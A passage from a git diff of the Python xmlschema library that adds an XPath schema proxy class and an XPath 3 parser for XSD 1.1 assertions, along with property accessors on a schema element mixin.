self.type.xsd_version + + @property + def maps(self) -> 'XsdGlobals': + return self.type.maps + + @property + def xpath_proxy(self) -> XMLSchemaProxy: + return XMLSchemaProxy(self.schema, self) + + @property + def xpath_node(self) -> LazyElementNode: + if self._xpath_node is None: + self._xpath_node = LazyElementNode(cast(XsdElementProtocol, self)) + return self._xpath_node + + @property + def schema(self) -> SchemaType: + return self.type.schema + + @property + def target_namespace(self) -> str: + return self.type.schema.target_namespace + + @property + def namespaces(self) -> NamespacesType: + return self.type.schema.namespaces + + @property + def local_name(self) -> str: + return local_name(self.name) + + @property + def qualified_name(self) -> str: + return get_qname(self.target_namespace, self.name) + + @property + def prefixed_name(self) -> str: + return get_prefixed_qname(self.name, self.namespaces) diff --git a/xmlschema/xpath/proxy.py b/xmlschema/xpath/proxy.py new file mode 100644 index 0000000..8217edf --- /dev/null +++ b/xmlschema/xpath/proxy.py @@ -0,0 +1,107 @@ +# +# Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +from typing import cast, Any, Iterator, Optional, Union, TYPE_CHECKING + +from elementpath import XPath2Parser, XPathSchemaContext, AbstractSchemaProxy, \ + SchemaElementNode, LazyElementNode +from elementpath.protocols import XsdTypeProtocol + +from ..exceptions import XMLSchemaValueError, XMLSchemaTypeError +from ..aliases import SchemaType +from ..names import XSD_NAMESPACE + +if TYPE_CHECKING: + from ..validators import XsdElement, XsdAnyElement, XsdAssert + from .mixin import XPathElement + + BaseElementType = Union[XsdElement, XsdAnyElement, XPathElement, XsdAssert] +else: + BaseElementType = Any + + +class XMLSchemaProxy(AbstractSchemaProxy): + """XPath schema proxy for the *xmlschema* library.""" + _schema: SchemaType + _base_element: BaseElementType + + def __init__(self, schema: Optional[SchemaType] = None, + base_element: Optional[BaseElementType] = None) -> None: + + if schema is None: + from xmlschema import XMLSchema10 + schema = getattr(XMLSchema10, 'meta_schema', None) + assert schema is not None + + super().__init__(schema, base_element) + + if base_element is not None: + try: + if base_element.schema is not schema: + msg = "{} is not an element of {}" + raise XMLSchemaValueError(msg.format(base_element, schema)) + except AttributeError: + raise XMLSchemaTypeError("%r is not an XsdElement" % base_element) + + def bind_parser(self, parser: XPath2Parser) -> None: + parser.schema = self + parser.symbol_table = dict(parser.__class__.symbol_table) + + with self._schema.lock: + if self._schema.xpath_tokens is None: + self._schema.xpath_tokens = { + xsd_type.name: parser.schema_constructor(xsd_type.name) + for xsd_type in self.iter_atomic_types() if xsd_type.name + } + + parser.symbol_table.update(self._schema.xpath_tokens) + + def get_context(self) -> XPathSchemaContext: + item: Union[None, SchemaElementNode, LazyElementNode] + if self._base_element is not None: + item = self._base_element.xpath_node + else: + item = None + + return XPathSchemaContext( + root=self._schema.xpath_node, + namespaces=self._schema.namespaces, + item=item, + ) + + def is_instance(self, obj: Any, type_qname: str) -> bool: + # FIXME: use elementpath.datatypes for checking atomic datatypes + xsd_type = self._schema.maps.types[type_qname] + if isinstance(xsd_type, tuple): # pragma: no cover + from ..validators import XMLSchemaNotBuiltError + schema = xsd_type[1] + raise XMLSchemaNotBuiltError(schema, f"XSD type {type_qname!r} is not built") + + try: + xsd_type.encode(obj) + except ValueError: + return False + else: + return True + + def cast_as(self, obj: Any, type_qname: str) -> Any: + xsd_type = self._schema.maps.types[type_qname] + if isinstance(xsd_type, tuple): # pragma: no cover + from ..validators import XMLSchemaNotBuiltError + schema = xsd_type[1] + raise XMLSchemaNotBuiltError(schema, f"XSD type {type_qname!r} is not built") + + return xsd_type.decode(obj) + + def iter_atomic_types(self) -> Iterator[XsdTypeProtocol]: + for xsd_type in self._schema.maps.types.values(): + if not isinstance(xsd_type, tuple) and \ + xsd_type.target_namespace != XSD_NAMESPACE and \ + hasattr(xsd_type, 'primitive_type'): + yield cast(XsdTypeProtocol, xsd_type) diff --git a/xmlschema/xpath3.py b/xmlschema/xpath3.py new file mode 100644 index 0000000..699cec5 --- /dev/null +++ b/xmlschema/xpath3.py @@ -0,0 +1,37 @@ +# +# Copyright (c), 2023, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +""" +Optional module for handling XPath 3 parsing on XSD 1.1 assertions. +""" +from elementpath.xpath3 import XPath3Parser + +__all__ = ['XPath3Parser', 'XsdAssertionXPath3Parser'] + + +class XsdAssertionXPath3Parser(XPath3Parser): + """Parser for XSD 1.1 assertion facets with XPath 3.""" + + +XsdAssertionXPath3Parser.unregister('last') +XsdAssertionXPath3Parser.unregister('position') + + +# noinspection PyUnusedLocal +@XsdAssertionXPath3Parser.method( + XsdAssertionXPath3Parser.function('last', nargs=0)) +def evaluate_last(self, context=None): # type: ignore[no-untyped-def] + raise self.missing_context("context item size is undefined") + + +# noinspection PyUnusedLocal +@XsdAssertionXPath3Parser.method( + XsdAssertionXPath3Parser.function('position', nargs=0)) +def evaluate_position(self, context=None): # type: ignore[no-untyped-def] + raise self.missing_context("context item position is undefined")